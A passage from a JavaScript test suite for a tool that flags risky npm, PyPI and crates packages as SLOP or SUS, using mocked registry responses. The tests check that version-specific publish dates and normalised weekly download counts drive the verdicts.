return healthySignals();
},
};
await checkPackages(
{ ecosystem: 'npm', packages: ['my-pkg'] },
{ registry: recordingRegistry, clock: fixedClock }
);
assert.equal(calls.length, 1);
assert.equal(calls[0].version, undefined, `Without version, should pass undefined, got: ${calls[0].version}`);
});
test('injected transport: requested version absent from npm registry → exists:false → SLOP', async () => {
// npm response has only version '1.0.0', we request '2.0.0'
const npmPayload = JSON.stringify({
'dist-tags': { latest: '1.0.0' },
versions: { '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } } },
time: { '1.0.0': new Date(FIXED_MS - 90 * 86_400_000).toISOString() },
});
let callCount = 0;
const transport = async (_url, _timeoutMs) => {
callCount++;
if (callCount === 1) return { statusCode: 200, body: npmPayload };
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
};
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['my-pkg'], version: '2.0.0' },
{ clock: fixedClock }
);
assert.equal(results[0].signals.exists, false, `Absent version should set exists:false, got: ${results[0].signals.exists}`);
assert.equal(results[0].verdict, 'SLOP', `Absent version should produce SLOP, got: ${results[0].verdict}`);
} finally {
_setHttpGet(null);
}
});
});
// ---------------------------------------------------------------------------
// FINDING 2 REGRESSION — version-specific age uses version-level metadata
// Package-level/first-publish is OLD (>1yr) but requested version is 2 days old.
// With version provided, publishedAt must reflect the requested version → too-new.
// ---------------------------------------------------------------------------
describe('Finding 2 — version-specific publishedAt from requested version, not package-level', () => {
// Fixed clock: 2024-01-01
const F2_FIXED_MS = Date.UTC(2024, 0, 1, 0, 0, 0, 0);
const f2Clock = { now: () => F2_FIXED_MS };
// Package-level first-publish: 2 years ago (old, would NOT be too-new)
const packageLevelOld = new Date(F2_FIXED_MS - 730 * 86_400_000).toISOString();
// Requested version published: 2 days ago (new, SHOULD trigger too-new)
const versionRecent = new Date(F2_FIXED_MS - 2 * 86_400_000).toISOString();
test('npm: version-specific publishedAt is recent → too-new (not old package-level date)', async () => {
// npm payload: package existed for 2yr, but the requested version 2.0.0 was published 2d ago
const npmPayload = JSON.stringify({
'dist-tags': { latest: '1.0.0' },
versions: {
'1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } },
'2.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } },
},
time: {
created: packageLevelOld,
'1.0.0': packageLevelOld,
'2.0.0': versionRecent, // requested version is recent
modified: new Date(F2_FIXED_MS - 1 * 86_400_000).toISOString(),
},
});
let callCount = 0;
const transport = async (_url, _timeoutMs) => {
callCount++;
if (callCount === 1) return { statusCode: 200, body: npmPayload };
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
};
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['old-pkg-new-version'], version: '2.0.0' },
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
);
assert.equal(results.length, 1);
const r = results[0];
// publishedAt should be versionRecent (2 days ago), not packageLevelOld
assert.ok(
r.signals.publishedAt === versionRecent,
`npm: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}`
);
assert.ok(
r.reasons.includes('too-new'),
`npm: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}`
);
} finally {
_setHttpGet(null);
}
});
test('pypi: version-specific upload_time is recent → too-new (not package-level urls[0])', async () => {
// PyPI payload: urls[] is for latest release (old), but releases['2.0.0'] is recent
const pypiPayload = JSON.stringify({
info: {
name: 'old-pypi-pkg',
project_urls: { Source: 'https://github.com/x/y' },
home_page: null,
},
urls: [
// This is the package-level / latest-release upload time (old)
{ upload_time_iso_8601: packageLevelOld },
],
releases: {
'1.0.0': [{ upload_time_iso_8601: packageLevelOld }],
'2.0.0': [{ upload_time_iso_8601: versionRecent }], // requested version is recent
},
});
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: pypiPayload });
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'pypi', packages: ['old-pypi-pkg'], version: '2.0.0' },
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
);
assert.equal(results.length, 1);
const r = results[0];
assert.ok(
r.signals.publishedAt === versionRecent,
`pypi: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}`
);
assert.ok(
r.reasons.includes('too-new'),
`pypi: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}`
);
} finally {
_setHttpGet(null);
}
});
test('crates: version-specific created_at is recent → too-new (not crate.created_at)', async () => {
const cratesPayload = JSON.stringify({
crate: {
name: 'old-crate',
repository: 'https://github.com/x/y',
created_at: packageLevelOld, // package first-created: old
recent_downloads: 50000,
},
versions: [
{ num: '1.0.0', created_at: packageLevelOld },
{ num: '2.0.0', created_at: versionRecent }, // requested version is recent
],
});
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload });
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'crates', packages: ['old-crate'], version: '2.0.0' },
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
);
assert.equal(results.length, 1);
const r = results[0];
assert.ok(
r.signals.publishedAt === versionRecent,
`crates: signals.publishedAt should be version-specific (${versionRecent}), got: ${r.signals.publishedAt}`
);
assert.ok(
r.reasons.includes('too-new'),
`crates: version-specific age (2d) should trigger too-new. reasons: ${r.reasons}`
);
} finally {
_setHttpGet(null);
}
});
// ---------------------------------------------------------------------------
// FINDING 2 REGRESSION: crates recent_downloads (90d) vs weekly threshold
// Without normalization: recent_downloads=5000 >= minWeeklyDownloads=1000 → no low-downloads
// With normalization: 5000 * 7 / 90 ≈ 389/week < 1000 → low-downloads (SUS)
// ---------------------------------------------------------------------------
test('FINDING-2 crates: recent_downloads=5000 (≈389/wk) → low-downloads after normalization', async () => {
// recent_downloads is a 90-DAY count. Without normalization the raw 5000 >= 1000 threshold
// passes, so no low-downloads reason is emitted — that is WRONG.
// After fix: Math.round(5000 * 7 / 90) = 389 < 1000 → low-downloads (SUS).
const cratesPayload = JSON.stringify({
crate: {
name: 'low-dl-crate',
repository: 'https://github.com/x/y',
created_at: packageLevelOld,
recent_downloads: 5000, // 90-day count; ≈389/week (below 1000)
},
versions: [{ num: '1.0.0', created_at: packageLevelOld }],
});
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload });
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'crates', packages: ['low-dl-crate'] },
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000, requireRepo: false } }
);
assert.equal(results.length, 1);
const r = results[0];
assert.ok(
r.reasons.includes('low-downloads'),
`FINDING-2: crates recent_downloads=5000 (≈389/wk) should yield low-downloads after 90d→weekly normalization. reasons: ${r.reasons}`
);
assert.equal(r.verdict, 'SUS', `expected SUS, got ${r.verdict}`);
} finally {
_setHttpGet(null);
}
});
test('FINDING-2 crates: recent_downloads=20000 (≈1556/wk) → NOT low-downloads', async () => {
// Math.round(20000 * 7 / 90) = 1556 >= 1000 → OK
const cratesPayload = JSON.stringify({
crate: {
name: 'good-dl-crate',
repository: 'https://github.com/x/y',
created_at: packageLevelOld,
recent_downloads: 20000, // ≈1556/week — above threshold
},
versions: [{ num: '1.0.0', created_at: packageLevelOld }],
});
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload });
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'crates', packages: ['good-dl-crate'] },
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000, requireRepo: false } }
);
assert.equal(results.length, 1);
const r = results[0];
assert.ok(
!r.reasons.includes('low-downloads'),
`FINDING-2: crates recent_downloads=20000 (≈1556/wk) should NOT yield low-downloads. reasons: ${r.reasons}`
);
} finally {
_setHttpGet(null);
}
});
test('npm: without version, falls back to package-level date (old → not too-new)', async () => {
const npmPayload = JSON.stringify({
'dist-tags': { latest: '1.0.0' },
versions: {
'1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } },
},
time: {
created: packageLevelOld,
'1.0.0': packageLevelOld,
modified: packageLevelOld,
},
});
let callCount = 0;
const transport = async (_url, _timeoutMs) => {
callCount++;
if (callCount === 1) return { statusCode: 200, body: npmPayload };
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
};
_setHttpGet(transport);
try {
const results = await checkPackages(
{ ecosystem: 'npm', packages: ['old-pkg'] }, // no version
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
);
const r = results[0];
assert.ok(
!r.reasons.includes('too-new'),
`Without version, old package should NOT be too-new. reasons: ${r.reasons}`
);
} finally {
_setHttpGet(null);
}
});
});